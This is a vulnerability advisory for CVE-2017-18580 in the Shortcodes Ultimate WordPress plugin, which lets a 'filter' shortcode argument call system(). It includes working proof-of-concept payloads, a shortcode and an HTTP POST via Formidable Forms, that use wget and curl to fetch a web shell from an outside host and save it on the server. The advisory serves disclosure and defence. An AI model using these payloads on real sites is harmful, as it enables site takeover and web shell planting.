Shortcodes Ultimate <= 5.0.0 – Authenticated Contributor Code Execution | CVE 2017-18580

Description

The Shortcodes Ultimate plugin does not sanitize the "filter" argument to the "su_meta", "su_user", and "su_post" shortcodes, allowing the filter to be set to the "system()" function which runs arbitrary code.

This is being exploited in the wild; I discovered this though analysis of mod_security audit logs on two compromised sites today.

Proof of Concept

If a contributor creates a draft post with this text:

[su_meta key=1 post_id=1 default='wget http://sazinco.ir/wp-content/shell.txt -O test.php' filter='system']

... then previews that post, Shortcodes Ultimate will run the code and save the malicious file as "test.php".

This is a simplified version of an exploit I saw this morning, which didn't require a contributor role account because it took advantage of the fact that another plugin ("Formidable Forms" accepts untrustedinput and passes it to do_shortcode(). That looked like this:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=frm_forms_preview&form={'asdf-asdf'}&before_html=[su_meta key=1 post_id=1 default='curl http://sazinco.ir/wp-content/shell.txt > ../wp-content/upoad.php' filter='system']&custom_style=1